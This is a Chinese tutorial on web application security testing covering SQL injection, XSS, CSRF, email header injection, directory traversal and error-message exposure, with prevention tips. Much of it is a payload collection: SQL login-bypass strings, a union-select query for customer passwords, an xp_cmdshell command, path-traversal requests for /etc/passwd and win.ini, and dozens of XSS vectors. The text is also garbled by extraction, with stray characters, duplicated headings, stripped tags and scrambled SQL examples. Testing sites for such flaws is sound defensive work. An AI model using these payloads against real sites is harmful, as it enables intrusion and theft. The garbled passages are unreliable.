如何进行WEB安全性测试
安全性测试主要从以下方面考虑 主要从以下方面考虑: WEB 的安全性测试主要从以下茄正方面考虑: Injection(SQL 注入) 1.SQL Injection(SQL 注入) (1)如何进行 SQL 注入测试? 首先找到带有参数传递的 URL 页面,如 搜索页面,登录页面,提交评论页面等等. 注 1:对 于未明显标识在 URL 中传递参数的,可以通过查看 HTML 源代码中的 "FORM"标签来辨别是否还有参数传递.在FORM 和/FORM的标签中间的每一个 参数传递都有可能被利颤耐悔用. form id="form_search" action="/search/" method="get" div input type="text" name="q" id="search_q" value="" / input name="search" type="image" src="/media/images/site/search_btn.gif" / a href="/search/" class="d939-1bdc-f32b-ae60 fl"Gamefinder/a /div /form 注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的 URL,如 其 次,在 URL 参数或表单中加入某些特殊的 SQL 语句或 SQL 片断,如在登 录页面的 URL 中输入 /INDEX.ASP?USERNAME=HI' OR 1=1-注 1:根据实际情况,SQL 注入请求可以使用以下语句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2:为什么是 OR, 以及',――是特殊的字符呢? 例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password' 如 输入 ' admin' or 1='1pwd=11,SQL 语句会变成以下:sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 与 admin 前面的'组成了一个查询条件,即 username='admin',接下来的语句将 按下一个查询条件来执行. 接 下来是 OR 查询条件,OR 是一个逻辑运 算符, 在判断多个条件的时候, 只要一 个成立,则等式就成立,后面的 AND 就不再时行判断了,也就是 说我们绕过了密码 验证,我们只用用户名就可以登录. 如 输入 '--pwd=11,SQL 语 admin'-admin'-11 句会 变成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '与 admin 前面的'组成了一个查 询条件,即 username='admin',接下来的语句将亩败按 下一个查询条件来执行 接下来是"--"查询条件,“--”是忽略或注释,上 述通过连接符注释掉后面的密码验 证(注:对 ACCESS 数据库 数据库无 效). 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息;如 果 能说明存在 SQL 安 全漏洞. 试想,如果网站存在 SQL 注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结 构,并对数据库表进行增\删\改的操 作,这样造成的后果是非常严重的. (2)如何预防 SQL 注入? 从应用程序的角度来讲,我们要做以下三项工作 工作: 工作 转义敏感字符及字符串(SQL 的敏感字符包括 “exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”=!-*/()|”, 和”空格”). 屏蔽出错信息:阻止攻击者知道攻击的结果 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三 项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客 户端的输入合法之前,服务端拒绝进行关 键性的处理操作. 从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将 安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验 以下几项安全性问题: 需求中应说明表单中某一 FIELD 的类型,长度,以及取值范围(主要作用就 是禁止输入敏感字符) 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序 应给出不包含任何代码或数据库信息的错误提示. 当然在执行测试的过程中,我们也需求对上述两项内容进行测试. 2.Crossscritping(XSS):(跨站点脚本攻击 跨站点脚本攻击) 2.Cross-site scritping(XSS):(跨站点脚本攻击) (1)如何进行 XSS 测试? !--[if !supportLists]--首先,找到带有参数传递的 URL,如 交评论,发表留言 页面等等。 登录页面,搜索页面,提 !--[if !supportLists]--其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试: scrīptalert(document.cookie)/scrīpt 注:其它的 XSS 测试语句 scrīptalert(document.cookie)/scrīpt ='scrīptalert(document.cookie)/scrīpt scrīptalert(document.cookie)/scrīpt scrīptalert(vulnerable)/scrīpt %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E scrīptalert('XSS')/scrīpt img src="javascrīpt:alert('XSS')" %0a%0ascrīptalert(\"Vulnerable\")/scrīpt.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp scrīptalert('Vulnerable');/scrīptgt scrīptalert('Vulnerable')/scrīpt ?sql_debug=1 a%5c.aspx a.jsp/scrīptalert('Vulnerable')/scrīpt a/ a?scrīptalert('Vulnerable')/scrīpt "scrīptalert('Vulnerable')/scrīpt ';exec%20master..xp_cmdshell%20'dir%20 c:%20%20c:\inetpub\wwwroot\?.txt'-- %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3ESESSION_ID={SESSION_ID}SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"XSS={()} IMG SRC="javascrīpt:alert('XSS');" IMG SRC=javascrīpt:alert('XSS') IMG SRC=javascrīpt:alert('XSS') IMG SRC=javascrīpt:alert("XSS") IMG SRC=javascrīpt:alert('XSS') IMG SRC=javascrīpt:alert('XSS') IMG SRC="jav ascrīpt:alert('XSS');" IMG SRC="jav ascrīpt:alert('XSS');" IMG SRC="jav ascrīpt:alert('XSS');" "IMG SRC=java\0scrīpt:alert(\"XSS\")";' out IMG SRC=" javascrīpt:alert('XSS');" scrīpta=/XSS/alert(a.source)/scrīpt BODY BACKGROUND="javascrīpt:alert('XSS')" BODY ōNLOAD=alert('XSS') IMG DYNSRC="javascrīpt:alert('XSS')" IMG LOWSRC="javascrīpt:alert('XSS')" BGSOUND SRC="javascrīpt:alert('XSS');" br size="{alert('XSS')}" LAYER SRC=""/layer LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');" IMG SRC='vbscrīpt:msgbox("XSS")' IMG SRC="mocha:[code]" IMG SRC="livescrīpt:[code]" META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');" IFRAME SRC=javascrīpt:alert('XSS')/IFRAME FRAMESETFRAME SRC=javascrīpt:alert('XSS')/FRAME/FRAMESET TABLE BACKGROUND="javascrīpt:alert('XSS')" DIV STYLE="background-image: url(javascrīpt:alert('XSS'))" DIV STYLE="behaviour: url('');" DIV STYLE="width: expression(alert('XSS'));" IMG SRC=javascript:ale STYLE@im\port'\ja\vasc\ript:alert("XSS")';/STYLE IMG STYLE='xss:expre\ssion(alert("XSS"))' STYLE TYPE="text/javascrīpt"alert('XSS');/STYLE STYLE type="text/css"BODY{background:url("javascrīpt:alert('XSS')")}/STYLE BASE HREF="javascrīpt:alert('XSS');//" getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); XML SRC="javascrīpt:alert('XSS');" " BODY ōNLOAD="a();"scrīptfunction a(){alert('XSS');}/scrīpt" scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"/scrīpt IMG SRC="javascrīpt:alert('XSS')" IMG SRC="" scrīpt a="" SRC=""/scrīpt scrīpt ="" SRC=""/scrīpt scrīpt a="" '' SRC=""/scrīpt scrīpt "a=''" SRC=""/scrīpt scrīptdocument.write("SCRI");/scrīptPT SRC=""/scrīpt A HREF=;link/A STYLE TYPE="text/css".XSS{background-image:url("javascrīpt:alert('XSS')");}/STYLEA CLASS=XSS !--#exec cmd="/bin/echo 'scrīpt SRC'"--!--#exec cmd="/bin/echo '=;/scrīp 最后,当用户浏览 时便会弹出一个警告框,内容显示的是浏览者当前的 cookie 串,这就 说明该网站存在 XSS 漏洞。 试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚 本,当用户浏览此帖时,cookie 信息就可能成功的被 攻击者获取。此时浏览者的帐号 就很容易被攻击者掌控了。 (2)如何预防 XSS 漏洞? 从应用程序的角度来讲,要进行以下几项预防: 对 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 语句或脚本进行转义. 在 服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端 拒绝进行关 键性的处理操作. 从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成 XSS 检查: 在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进 行验证,着重验证是否对 HTML 或脚本代码进行了转义。 执行测试过程中也应对上述项进行检查。 3.CSRF:(跨站点伪造请求) 3.CSRF:(跨站点伪造请求) CSRF:(跨站点伪造请求 CSRF 尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,并且攻击方式 几乎相左。 XSS 是利用站点内的信任用户,而 CSRF 则通过伪装来自受信任用户的请求 来利用受信任的网站。 XSS 也好, CSRF 也好, 它的目的在于窃取用户的信息, SESSION 和 COOKIES 如 (关于 SESSION 和 COOKIES 的介绍请参见我的另一篇 BLOG: ), (1)如何进行 CSRF 测试? 关于这个主题本人也正在研究,目前主要通过安全性测试工具来进行检查。 (2)如何预防 CSRF 漏洞? 请参见 请 参见 avoid_exposing_your_gmail_contacts.html Injection(邮件标头注入 邮件标头注入) 4.Email Header Injection(邮件标头注入) Email Header Injection:如果表单用于发送 email,表单中可能包括 “subject”输入项(邮件标题),我们要验证 subject 中应能 escape 掉“\n” 标识。 !--[if !supportLists]--!--[endif]--因为“\n”是新行,如果在 subject 中输入“hello\ncc:spamvictim@example.com”,可能会形成以 下 Subject: hello cc: spamvictim@example.com !--[if !supportLists]--!--[endif]--如果允许用户使用这样的 其它用 subject, 那他可能会给利用这个缺陷通过我们的平台给其它 户发送垃 其它 圾邮件。 Traversal(目录遍历 目录遍历) 5.Directory Traversal(目录遍历) (1)如何进行目录遍历测试? 目录遍历产生的原因是:程序中没有过滤用户输入的“../”和“./”之 类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的 任意文件。 测试方法: URL 中输入一定数量的 在 “../” “./” 验证系统是否 ESCAPE 和 , 掉了这些目录跳转符。 (2)如何预防目录遍历? 限制 Web 应用在服务器上的运行 进 行严格的输入验证,控制用户输入非法路径 messages(错误信息 错误信息) 6.exposed error messages(错误信息) (1)如何进行测试? 首 先找到一些错误页面,比如 404,或 500 页面。 验证在调试未开通过的情况下, 是否给出了友好的错误提示信息比如“你 访问的页面不存 在”等,而并非曝露一些程序代码。 (2)如何预防? 测试人员在进行需求检查时,应该对出错信息 进行详细查,比如是否给 出了出错信息,是否给出了正确的出错信息。